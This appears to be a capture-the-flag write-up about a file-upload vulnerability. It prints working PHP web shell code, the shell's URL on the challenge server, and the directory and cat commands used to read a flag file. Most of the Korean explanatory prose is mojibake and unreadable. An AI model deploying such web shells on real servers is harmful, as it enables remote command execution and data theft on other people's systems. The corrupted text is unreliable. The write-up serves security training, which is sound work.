[SegFault] (File Vuln)
Web Shell 1
php ์น ์์ ์ฌ๋ ค์, flag.txt ํ์ผ์ ์ฐพ์๋ด๋ผ!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ๋ File Vulnerability์ ๊ดํ ๋ฌธ์ ๋ก์, 'Server Side Script' File, ์ฆ ์น ์(Web Shell)์ Upload ํ๊ณ , ํด๋น ์น ์์ ์ ๋ก๋ ์์น๋ฅผ ์ฐพ์ ์คํ์์ผ flag.txt ํ์ผ์ ์ฐพ๋ ๋ฌธ์ ์ด๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
ํ์ค ์น ์
๊ธฐ๋ณธ์ ์ธ ํ ์ค ์น์์ ๋ค์๊ณผ ๊ฐ๋ค.
<?php
echo system($_GET['cmd']);
?>
์์ ๊ฐ์ ๊ฐ๋จํ ์น ์์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์ด์ง๋ง, ๋ธ๋ผ์ฐ์ ์์ ํ ์คํธํ๊ธฐ ํธํ๋๋ก ์๋์ ๊ฐ์ด ์์ ํ ์น ์ ์ฝ๋๋ฅผ ์ฌ์ฉํ ๊ฒ์ด๋ค.
์ฌ์ฉํ ์น ์ ์ฝ๋
์ฌ์ฉํ๊ธฐ ํธํ๋๋ก ์์ ํ ์น ์ ์ฝ๋์ด๋ค.
<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
์น ์ ์ ๋ก๋
๊ฒ์ํ์ ์ ๋ก๋ ๊ธฐ๋ฅ์์ Server Side Script ํ์ผ์ ๋ํ ํ์ฅ์ ๊ฒ์ฆ์ด ์ด๋ฃจ์ด์ง์ง ์์ (.php) ํ์ผ์ ์ ๋ก๋๊ฐ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ์๋ค.
์์ ์น ์์ ์ ๋ก๋ ํ ํ, ๋ค์ด๋ก๋ ๋งํฌ๋ฅผ ํ์ธํ๋ฉด, ํด๋น ํ์ผ์ ์์น๋ฅผ ์ ์ ์๊ณ , ํด๋น ๊ฒฝ๋ก๋ ๋ค์๊ณผ ๊ฐ๋ค.
http://ctf.segfaulthub.com:8989/webshell_1/files/gear/web_shell.php
flag ์ฐพ๊ธฐ
์์ ์น์ ๊ฒฝ๋ก๋ฅผ์ ๋ ฅํ๋ฉด ๋ธ๋ผ์ฐ์ ์์์ ๋ค์๊ณผ ๊ฐ์ ์น ์ ์ฐฝ์ ํ์ธํ ์ ์๋ค.
ํ์ฌ์ ๊ฒฝ๋ก๋ /webshell_1/files/gear/ ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก flag.txt ํ์ผ์ ์ฐพ๊ธฐ ์ํด์๋ /webshell_1/ ๊ฒฝ๋ก๊น์ง ์ฌ๋ผ๊ฐ์ผํ๋ค.
dir ../../
์์ ๊ฐ์ด ์ ๋ ฅํ์ฌ ์ด๋ค ๋๋ ํฐ๋ฆฌ๋ค์ด ์๋์ง ํ์ธํด ๋ณธ ๊ฒฐ๊ณผ important_data๋ผ๋ ๋๋ ํฐ๋ฆฌ๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํด๋น ๊ฒฝ๋ก์ ์กด์ฌํ๋ ์์ ๋๋ ํฐ๋ฆฌ์ ์ ๊ทผํด๋ด์ผ ํ๋ค.
dir ../../important_data
์์ ๊ฐ์ด ์ ๋ ฅํ์ฌ ํด๋น ๋๋ ํฐ๋ฆฌ์ ๋ด๋ถ๋ฅผ ํ์ธํด ๋ณธ ๊ฒฐ๊ณผ flag.txt๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ด์ฉ์ ํ์ธํ๊ธฐ ์ํด cat ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ค.
cat ../../important_data/flag.txt
์์ ๊ฐ์ด ์ ๋ ฅํ ๊ฒฐ๊ณผ flag๋ฅผ ํ๋ํ ์ ์์๋ค.
์๊ฐํด ๋ณผ ์
find ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ์ฐพ์ ์๋ ์์๊ฒ ์ง๋ง, ํด๋น ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ ค๋ฉด ์ฐพ์ผ๋ ค๋ ํ์ผ์ ์ด๋ฆ์ ํ์คํ๊ฒ ์๊ณ ์๋ ๊ฒฝ์ฐ์๋ง ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ์ง์ ์ฐพ์๋ณด๋ ๋ฐฉ์์ ์ ํํ์๋ค.
find ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.
find / -name flag.txt
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์